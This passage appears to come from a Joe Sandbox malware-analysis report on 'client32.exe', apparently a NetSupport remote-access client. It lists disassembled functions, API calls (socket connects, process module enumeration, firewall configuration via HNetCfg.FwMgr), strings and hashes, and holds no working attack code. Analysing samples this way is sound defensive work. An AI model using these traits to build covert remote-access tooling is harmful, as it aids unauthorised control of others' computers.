schplayer.exe, xrefs: 11124298

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: b0bcc0f5a6366163d0729c56afd56097aa9a4968172ae497a6bbf09a569205e6
Instruction ID: e5427a7216b44c3460126721b628d5672ac8883cc02d2755d7c854ad9c2544d9
Opcode Fuzzy Hash: b0bcc0f5a6366163d0729c56afd56097aa9a4968172ae497a6bbf09a569205e6
Instruction Fuzzy Hash: 95316DBAF402156BDB009BA5BC85FEAF7BC9FA431DF500469EC04A7145EE70B600CB91

Function 6C805FC0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 104networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32 ref: 6C805FF2
connect.WSOCK32(00000000,?,000001BB), ref: 6C806009
WSAGetLastError.WSOCK32(00000000,?,000001BB), ref: 6C806010
_memmove.LIBCMT ref: 6C806083
select.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000), ref: 6C8060A3
GetTickCount.KERNEL32 ref: 6C8060C3
ioctlsocket.WSOCK32(00000000,8004667E,00000001,00000000,?,000001BB), ref: 6C8060F3
SetLastError.KERNEL32(00000000,00000000,8004667E,00000001,00000000,?,000001BB), ref: 6C8060F9
WSAGetLastError.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,000001BB,00000010,00000002,00000001,00000000,?,00000000), ref: 6C806111
__WSAFDIsSet.WSOCK32(00000000,?,00000001,00000000,?,?,?,?,?,00001004,00000000,000001BB,00000010,00000002,00000001,00000000), ref: 6C806122

Strings

ConnectTimeout, xrefs: 6C80602E
General, xrefs: 6C806033

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: ErrorLast$ioctlsocket$CountTick_memmoveconnectselect
String ID: ConnectTimeout$General
API String ID: 4218156244-3585140716
Opcode ID: 1007c662f8e14c601b624ed2c5821ba228f17ff230a167622dcb6e47c2c558ab
Instruction ID: f5d565528d52ae3ae46be22479dafa30829e361cc8ee735450a1db608ca1edb1
Opcode Fuzzy Hash: 1007c662f8e14c601b624ed2c5821ba228f17ff230a167622dcb6e47c2c558ab
Instruction Fuzzy Hash: 8231BD71A043189AE730DB64CE48BDDB3B9AB44308F0049B9E90DD7641D7755AD8DBA1

Function 11025900 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11025986
_strtok.LIBCMT ref: 110259C0
Sleep.KERNEL32(1102E263,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11025AB4

Strings

Protocols, xrefs: 11025971
Error. not all transports loaded (%d/%d), xrefs: 11025A88
TCPIP, xrefs: 110259E2
Retrying..., xrefs: 11025AA2
Client, xrefs: 11025976, 11025A1B
*max_sessions, xrefs: 11025A16
LoadTransports(%d), xrefs: 110259FC
UseNCS, xrefs: 110259DD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: cf1052e5be71f3d434893412861ad9ad259e2ba0693b2699e7433d6c9e4175ae
Instruction ID: 451022f22904edf6d43a1c304369e541f9f29d5ed3a23b240bd98eaa3334767d
Opcode Fuzzy Hash: cf1052e5be71f3d434893412861ad9ad259e2ba0693b2699e7433d6c9e4175ae
Instruction Fuzzy Hash: 62514635E012669BDF01CF68CCC4BEEFBE1AF81318F5081A9DC5667280E7326445CB85

Function 6C807640 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6C814E05), ref: 6C8076AB

Part of subcall function 6C803A70: LoadLibraryA.KERNEL32(psapi.dll,?,6C807708), ref: 6C803A78

GetCurrentProcessId.KERNEL32 ref: 6C80770B
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 6C807718
FreeLibrary.KERNEL32(?), ref: 6C8077FF

Part of subcall function 6C803AB0: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C803AC4
Part of subcall function 6C803AB0: K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C80774D,00000000,?,6C80774D,00000000,?,00000FA0,?), ref: 6C803AE4

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6C8077EE

Part of subcall function 6C803B00: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C803B14
Part of subcall function 6C803B00: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C807790,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C803B34

Part of subcall function 6C802420: _strrchr.LIBCMT ref: 6C80242E

Strings

is247, xrefs: 6C807682
pcictl_247.dll, xrefs: 6C8077AC
Set Is247=%d, xrefs: 6C807817
NSM247Ctl.dll, xrefs: 6C8077BE
NSM247, xrefs: 6C8076CB
CLIENT247, xrefs: 6C8076E7

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: Process$AddressFileLibraryModuleNameProc$CloseCurrentEnumFreeHandleLoadModulesOpen_strrchr
String ID: CLIENT247$NSM247$NSM247Ctl.dll$Set Is247=%d$is247$pcictl_247.dll
API String ID: 2714439535-3484705551
Opcode ID: 398ecd6f3be7eb4cbfaed041e74ef3b063add7f90cb450801c6e28e7c1cdde9e
Instruction ID: a0d0ab821ab7463e2f7a599f9d953696833435c9a12ae20b9829755da0281b61
Opcode Fuzzy Hash: 398ecd6f3be7eb4cbfaed041e74ef3b063add7f90cb450801c6e28e7c1cdde9e
Instruction Fuzzy Hash: 0841C771B002189BDB30DB55CE44FEA7378BB4674CF004D79E90893640EB755A48CBE1

Function 11125790 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 84windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11134770: _memset.LIBCMT ref: 111347B5
Part of subcall function 11134770: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 111347CE
Part of subcall function 11134770: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111347F5
Part of subcall function 11134770: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11134807
Part of subcall function 11134770: FreeLibrary.KERNEL32(00000000), ref: 1113481F
Part of subcall function 11134770: GetSystemDefaultLangID.KERNEL32 ref: 1113482A

AdjustWindowRectEx.USER32(11130C07,00CE0000,00000001,00000030), ref: 111257D7
LoadMenuA.USER32(00000000,000003EC), ref: 111257E8
GetSystemMetrics.USER32(00000021), ref: 111257F9
GetSystemMetrics.USER32(0000000F), ref: 11125801
GetSystemMetrics.USER32(00000004), ref: 11125807
GetDC.USER32(00000000), ref: 11125813
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1112581E
ReleaseDC.USER32(00000000,00000000), ref: 11125827
CreateWindowExA.USER32(?,NSMWClass,02D0DEC0,00CE0000,80000000,80000000,?,?,00000000,?,11000000,00000000), ref: 11125869

Strings

NSMWClass, xrefs: 11125863
F(t, xrefs: 1112581E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceFreeLangMenuProcRectReleaseVersion_memset
String ID: F(t$NSMWClass
API String ID: 1971969616-79798644
Opcode ID: c4fd1fae337c8dcba66663149ed27480893a34112c7b95a9b8bf325c2f5c25ff
Instruction ID: 3d151e6aa5795be314d149eabed09166d4b089190cfc9127ba122f3c3f80b994
Opcode Fuzzy Hash: c4fd1fae337c8dcba66663149ed27480893a34112c7b95a9b8bf325c2f5c25ff
Instruction Fuzzy Hash: 582165B6E40219AFDB10DFE5CC89FAEFBB8EB44704F514529FA15B7284D6B069008B90

Function 1114CE30 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1114CE58
GetLastError.KERNEL32 ref: 1114CE65
wsprintfA.USER32 ref: 1114CE78

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 11027FB0: _strrchr.LIBCMT ref: 110280A5
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 110280E4

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1114CEBC
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1114CEC9

Strings

..\ctl32\wndclass.cpp, xrefs: 1114CE89, 1114CEA5
NSMDropTarget, xrefs: 1114CEBE
m_aProp, xrefs: 1114CEAA
NSMReflect, xrefs: 1114CEB7
GlobalAddAtom failed, e=%d, xrefs: 1114CE72
NSMWndClass, xrefs: 1114CE50

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 5d1924ba33bc5dfec19d76dfc76a92801d5f3f97a695d21cd7be10a704ebc820
Instruction ID: 1eda9b10f8aec855e66c0cb12e8f2ce1967035abfcae5e92ab0cd4d6df15dcd3
Opcode Fuzzy Hash: 5d1924ba33bc5dfec19d76dfc76a92801d5f3f97a695d21cd7be10a704ebc820
Instruction Fuzzy Hash: 64110A79E01354EBC720EFE6DCC5B96FBB4BF24318B40462ED86553644EB706540CBA1

Function 111035C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 1110362A
__CxxThrowException@8.LIBCMT ref: 1110363F
GetCurrentThreadId.KERNEL32 ref: 11103656
InitializeCriticalSection.KERNEL32(-00000010,?,1102F49F,00000001,00000000), ref: 11103669
InitializeCriticalSection.KERNEL32(111DC080,?,1102F49F,00000001,00000000), ref: 11103678
EnterCriticalSection.KERNEL32(111DC080,?,1102F49F), ref: 1110368C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1102F49F), ref: 111036B2
LeaveCriticalSection.KERNEL32(111DC080,?,1102F49F), ref: 1110373F

Strings

QueueThreadEvent, xrefs: 111036CB
..\ctl32\Refcount.cpp, xrefs: 111036C6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: e29206a9896a06f922e4cf0ceb9f136b07e2850f4e50c880c62728fdaeafb3db
Instruction ID: 63fd93a488f830275771722d5aba5e66412ef535a9f58e0bfc3bcbadc2d60674
Opcode Fuzzy Hash: e29206a9896a06f922e4cf0ceb9f136b07e2850f4e50c880c62728fdaeafb3db
Instruction Fuzzy Hash: 2241A0B9E04614AFDB11DFA59C88B9BFBE4FB46708F10863EE816D7244E63595008B61

Function 11108F70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11108FC5
CoCreateInstance.OLE32(111AC5EC,00000000,00000001,111AC5FC,00000000,?,00000000,Client,silent,00000000,00000000,?,110489EB), ref: 11108FDF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11109004
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11109016
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11109029
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11109035
CoUninitialize.COMBASE(00000000), ref: 111090D1

Strings

SHELL32.DLL, xrefs: 11108FF5
SHGetSettings, xrefs: 11109010

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 6d34685f4c316705df0f1abe8123d38b31d7fd1e4502876d89345956c5a31854
Instruction ID: 81cc2272e8ad22c1156deef73db3ee6d204820a72fecb0aa9db9e7dded57e48d
Opcode Fuzzy Hash: 6d34685f4c316705df0f1abe8123d38b31d7fd1e4502876d89345956c5a31854
Instruction Fuzzy Hash: 9A5161B5E002099FDB00DF95C9D4AAFFBB9EF88304F118569EA19A7244E731A941CB61

Function 11134770 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11134660: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111346D0
Part of subcall function 11134660: RegCloseKey.ADVAPI32(?), ref: 11134734

_memset.LIBCMT ref: 111347B5
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 111347CE
LoadLibraryA.KERNEL32(kernel32.dll), ref: 111347F5
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11134807
FreeLibrary.KERNEL32(00000000), ref: 1113481F
GetSystemDefaultLangID.KERNEL32 ref: 1113482A

Strings

kernel32.dll, xrefs: 111347E0
GetUserDefaultUILanguage, xrefs: 11134801

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: def513b5bb341cc7afad5bcd91c09d54c4c598062c949e7b226e29cf6b61c9db
Instruction ID: 437fe0f25426a0c81b88db6811d1175116249bb1d1675cf6c1db19aceed975f5
Opcode Fuzzy Hash: def513b5bb341cc7afad5bcd91c09d54c4c598062c949e7b226e29cf6b61c9db
Instruction Fuzzy Hash: 5C314539E502659FDB10CFB4C984B8AF7A4EB8933AF4001F9D829D3289CB344984CB91

Function 1100FF90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FFBD
std::_Lockit::_Lockit.LIBCPMT ref: 1100FFE0
std::bad_exception::bad_exception.LIBCMT ref: 11010064
__CxxThrowException@8.LIBCMT ref: 11010072
std::_Lockit::_Lockit.LIBCPMT ref: 11010085
std::locale::facet::_Facet_Register.LIBCPMT ref: 1101009F

Strings

bad cast, xrefs: 1101005C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 8f6f677ab330cd7586c2d26ea24e096535eb1e60d392ddb083f9221c613e5385
Instruction ID: bf8c2c354690ba20c08e95df003a744cd7babc47bb895755038865195df53275
Opcode Fuzzy Hash: 8f6f677ab330cd7586c2d26ea24e096535eb1e60d392ddb083f9221c613e5385
Instruction Fuzzy Hash: 0C31D575E002569FCB16CF54C884B9EF7B4FB0572CF104169EC65AB688DB35AA00CB92

Function 11128750 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

Part of subcall function 1108F8C0: CoInitialize.OLE32(00000000), ref: 1108F8D4
Part of subcall function 1108F8C0: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?), ref: 1108F8E7
Part of subcall function 1108F8C0: CoCreateInstance.OLE32(?,00000000,00000001,111AC67C,?), ref: 1108F904
Part of subcall function 1108F8C0: CoUninitialize.COMBASE ref: 1108F922

_memset.LIBCMT ref: 111287B0
GetModuleFileNameA.KERNEL32(00000000,?,00000105,00000001,00000000,00000000), ref: 111287C6
_strrchr.LIBCMT ref: 111287D5
_free.LIBCMT ref: 11128826

Strings

ICFConfig2 returned 0x%x, xrefs: 1112882C
Client, xrefs: 11128774
*AutoICFConfig, xrefs: 1112876F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
